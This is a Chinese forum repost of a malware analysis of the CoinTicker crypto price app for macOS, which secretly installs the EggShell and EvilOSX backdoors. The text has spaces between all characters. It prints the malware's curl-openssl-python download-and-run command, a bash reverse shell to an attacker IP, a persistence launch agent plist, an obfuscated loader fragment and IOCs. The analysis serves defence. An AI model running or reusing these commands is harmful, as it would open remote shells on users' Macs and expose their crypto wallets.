搜索

[13536] 2018-12-16_Mac上的加密货币价格追踪应用CoinTicker后门分析

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2018-12-16_Mac上的加密货币价格追踪应用CoinTicker后门分析 M a c 上 的 加 密 货 币 价 格 追 踪 应 用 C o i n T i c k e r 后 门 分 析 周 大 涛   F r e e B u f   2 0 1 8 - 1 2 - 1 6 写 在 前 面 的 话 写 在 前 面 的 话 我 们 论 坛 的 贡 献 者 弗 拉 基 米 尔 在 论 坛 上 看 到 一 个 名 叫 我 们 论 坛 的 贡 献 者 弗 拉 基 米 尔 在 论 坛 上 看 到 一 个 名 叫 C o i n T i c k e r 的 应 用 程 序 在 周 末 表 现 出 一 些 可 疑 行 为 。 这 款 的 应 用 程 序 在 周 末 表 现 出 一 些 可 疑 行 为 。 这 款 应 用 似 乎 不 仅 秘 密 地 安 装 了 一 个 后 门 ， 而 且 还 安 装 了 两 个 不 同 的 后 门 。 应 用 似 乎 不 仅 秘 密 地 安 装 了 一 个 后 门 ， 而 且 还 安 装 了 两 个 不 同 的 后 门 。 行 为 分 析 行 为 分 析 从 表 面 上 看 ， C o i n T i c k e r 应 用 程 序 似 乎 是 一 个 合 法 的 应 用 程 序 ， 可 能 对 投 资 加 密 货 币 的 人 有 用 。 下 载 后 ， 该 应 用 程 序 会 在 菜 单 栏 显 示 一 个 图 标 ， 显 示 当 前 比 特 币 价 格 的 信 息 。   应 用 程 序 的 首 选 项 允 许 用 户 自 定 义 显 示 有 关 各 种 加 密 货 币 的 信 息 ， 包 括 比 特 币 ， E t h e r i u m 和 M o n e r o 。   虽 然 这 个 功 能 似 乎 是 合 法 的 ， 但 是 应 用 程 序 后 台 干 什 么 用 户 不 知 道 。 可 是 ， 在 推 出 时 ， 应 用 程 序 会 下 载 并 安 装 两 个 不 同 的 开 源 后 门 组 件 ： E v i l O S X 和 E g g S h e l l 。 该 应 用 程 序 执 行 以 下 s h e l l 命 令 以 下 载 用 于 m a c O S 的 自 定 义 编 译 的 E g g S h e l l 服 务 器 版 本 ： n o h u p   c u r l   - k   - L   - o   / t m p / . i n f o . e n c   h t t p s : / / g i t h u b . c o m / y o u a r e n i c k / n e w P r o j e c t / r a w / m a s t e r / i n f o . e n c ;   o p e n s s l   e n c   - a e s - 2 5 6 - c b c   - d   - i n   / t m p / . i n f o . e n c   - o u t   / t m p / . i n f o . p y   - k   1 1 1 1 1 1 q q ;   p y t h o n   / t m p / . i n f o . p y
该 命 令 的 第 一 部 分 从 属 于 名 为 “ y o u a r e n i c k ” 的 用 户 的 G i t h u b 页 面 下 载 编 码 文 件 ， 并 将 该 文 件 保 存 到 /   p r i v a t e / t m p / 中 名 为 . i n f o . e n c 的 隐 藏 文 件 中 。 接 下 来 ， 它 使 用 o p e n s s l 将 该 文 件 解 码 为 名 为 . i n f o . p y 的 隐 藏 P y t h o n 文 件 。 最 后 ， 它 执 行 生 成 的 P y t h o n 脚 本 。 该 . i n f o . p y 脚 本 执 行 多 个 任 务 。 首 先 ， 它 使 用 以 下 命 令 打 开 与 c c 服 务 器 的 反 向 s h e l l 连 接 ： 接 下 来 ， 它 下 载 E g g S h e l l   m a c h - o 二 进 制 文 件 ， 将 其 保 存 到 / t m p / e s p l ： 最 后 ， 它 在 / t m p / . s e r v e r . s h 创 建 并 运 行 s h e l l 脚 本 ， 该 脚 本 还 建 立 了 反 向 s h e l l 。 C o i n T i c k e r 应 用 程 序 还 会 创 建 一 个 名 为 . e s p l . p l i s t 的 用 户 启 动 代 理 程 序 ， 它 定 期 运 行 相 同 的 命 令 ： 这 似 乎 导 致 e s p l 二 进 制 文 件 被 多 次 启 动 ， 那 确 实 是 这 种 情 况 。 该 软 件 还 在 用 户 的 C o n t a i n e r s 文 件 夹 中 创 建 了 一 个 名 为 . U p Q Z d h k K f C d S Y x g 的 文 件 夹 ， 该 文 件 夹 是 名 为   p l Q q V f e J v G o 的 P y t h o n 脚 本 （ 我 们 认 为 这 些 名 称 是 随 机 的 ， 但 遗 憾 的 是 C o i n T i c k e r 应 用 程 序 已 停 止 运 行 ， 因 此 我 们 无 法 确 认 。 ） 此 脚 本 经 过 编 码 以 隐 藏 内 容 ： n o h u p   b a s h ＆ >   / d e v / t c p / 9 4 . 1 5 6 . 1 8 9 . 7 7 / 2 2 8 0   0 > ＆ 1 （ 域 s e e d n o d e 3 . p a r s i c o i n . n e t 解 析 为 此 I P 地 址 。 ） c u r l   - k   - L   - o   /   t m p   /   e s p l   h t t p s : / / g i t h u b . c o m / y o u a r e n i c k / n e w P r o j e c t / r a w / m a s t e r / m a c ＃ ！ /   b i n   /   b a s h   n o h u p   b a s h ＆ >   / d e v / t c p / 9 4 . 1 5 6 . 1 8 9 . 7 7 / 2 2 8 0   0 > ＆ 1 < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " U T F - 8 " ? > < ! D O C T Y P E   p l i s t   P U B L I C   " - / / A p p l e / / D T D   P L I S T   1 . 0 / / E N "   " h t t p : / / w w w . a p p l e . c o m / D T D s / P r o p e r t y L i s t - 1 . 0 . d t d " > < p l i s t   v e r s i o n = " 1 . 0 " > < d i c t >     < k e y > A b a n d o n P r o c e s s G r o u p < / k e y >     < t r u e / >     < k e y > L a b e l < / k e y >     < s t r i n g > c o m . a p p l e . e s p l < / s t r i n g >     < k e y > P r o g r a m A r g u m e n t s < / k e y >     < a r r a y >         < s t r i n g > s h < / s t r i n g >         < s t r i n g > - c < / s t r i n g >         < s t r i n g > n o h u p   c u r l   - k   - L   - o   / t m p / . i n f o . e n c   h t t p s : / / g i t h u b . c o m / y o u a r e n i c k / n e w P r o j e c t / r a w / m a s t e r / i n f o . e n c ;   o p e n s s l   e n c   - a e s - 2 5 6 - c b c   - d   - i n   / t m p / . i n f o . e n c   - o u t   / t m p / . i n f o . p y   - k   1 1 1 1 1 1 q q ;   p y t h o n   / t m p / . i n f o . p y < / s t r i n g >     < / a r r a y >     < k e y > R u n A t L o a d < / k e y >     < t r u e / >     < k e y > S t a r t I n t e r v a l < / k e y >     < i n t e g e r > 9 0 < / i n t e g e r > < / d i c t > < / p l i s t >
提 取 脚 本 可 以 发 现 它 就 是 来 自 G i t h u b 用 户 M a r t e n 4 n 6 制 作 的 E v i l O S X 后 门 。 这 个 脚 本 是 定 制 的 ， 可 以 使 后 门 在 端 口 1 3 3 9 上 与 服 务 器 1 8 5 . 2 0 6 . 1 4 4 . 2 2 6 通 信 。 该 恶 意 软 件 还 创 建 了 一 个 名 为 c o m . a p p l e . E O F H X p Q v q h r . p l i s t 的 用 户 启 动 代 理 , 用 于 保 持 此 脚 本 运 行 。 影 响 影 响 虽 然 还 不 清 楚 这 个 恶 意 软 件 背 后 的 黑 客 到 底 想 要 达 到 什 么 目 的 ， 但 是 E g g S h e l l 和 E v i l O S X 都 是 可 以 用 于 各 种 目 的 后 门 。 然 而 ， 由 于 恶 意 软 件 是 通 过 加 密 货 币 应 用 程 序 分 发 的 ， 因 此 该 恶 意 软 件 似 乎 是 为 了 获 取 用 户 加 密 货 币 钱 包 的 访 问 权 ， 从 而 窃 取 硬 币 。 起 初 , 这 看 起 来 可 能 是 一 个 供 应 链 的 攻 击 , 然 而 ， 在 进 一 步 的 检 查 中 ， 看 起 来 这 个 应 用 程 序 可 能 从 一 开 始 就 不 合 法 。 首 先 ， 这 款 应 用 通 过 一 个 名 为 c o i n - s t i c k e r . c o m 的 域 名 发 布 。 这 和 a p p 的 名 字 很 接 近 ， 但 又 不 完 全 一 样 。 I O C 创 建 的 文 件 ： 创 建 的 文 件 ： 网 络 连 接 ： 网 络 连 接 ： S H A - 2 5 6 ： ： * 参 考 来 源 m a l w a r e b y t e s ， 周 大 涛 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M # ! / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - i m p o r t   o s i m p o r t   g e t p a s s i m p o r t   u u i d d e f   g e t _ u i d ( ) : r e t u r n   " " . j o i n ( x . e n c o d e ( " h e x " )   f o r   x   i n   ( g e t p a s s . g e t u s e r ( )   +   " - "   +   s t r ( u u i d . g e t n o d e ( ) ) ) ) e x e c ( " " . j o i n ( o s . p o p e n ( " e c h o   ' U 2 F s d G V k X 1 9 G s b C j 4 l q 2 h z o 2 7 v q s e H T t K b N T x 9 . . . T j O 1 G l H 1 + 7 c P 7 p D Y a 8 y k B q u k 4 W h U 0 / U q E '   |   o p e n s s l   a e s - 2 5 6 - c b c   - A   - d   - a   - k   % s   - m d   m d 5 "   %   g e t _ u i d ( ) ) . r e a d l i n e s ( ) ) ) # ! / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - " " " M i n i m a l   b o t   w h i c h   l o a d s   m o d u l e s   a s   t h e y   a r e   n e e d e d   f r o m   t h e   s e r v e r . " " " _ _ a u t h o r _ _   =   " M a r t e n 4 n 6 " _ _ l i c e n s e _ _   =   " G P L v 3 " _ _ v e r s i o n _ _   =   " 4 . 1 . 1 " . . . / p r i v a t e / t m p / . i n f o . e n c / p r i v a t e / t m p / . i n f o . p y / p r i v a t e / t m p / . s e r v e r . s h / p r i v a t e / t m p / e s p l ~ / L i b r a r y / L a u n c h A g e n t s / . e s p l . p l i s t ~ / L i b r a r y / L a u n c h A g e n t s / c o m . a p p l e . [ r a n d o m   s t r i n g ] . p l i s t ~ / L i b r a r y / C o n t a i n e r s / . [ r a n d o m   s t r i n g ] / [ r a n d o m   s t r i n g ] 9 4 . 1 5 6 . 1 8 9 . 7 7 : 2 2 8 0 1 8 5 . 2 0 6 . 1 4 4 . 2 2 6 : 1 3 3 9 C o i n T i c k e r . z i p   f 4 f 4 5 e 1 6 d d 2 7 6 b 9 4 8 d e d d 8 a 5 f 8 d 5 5 c 9 e 1 e 6 0 8 8 4 b 9 f e 0 0 1 4 3 c b 0 9 2 e e d 6 9 3 c d d c 4 e s p l   e f b 5 b 3 2 f 8 7 b f d 6 0 8 9 9 1 2 0 7 3 c b 3 3 8 5 0 c 5 8 6 4 0 d 5 9 c b 5 2 d 8 c 6 3 8 5 3 d 9 7 b 4 7 7 1 b c 4 9 0
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理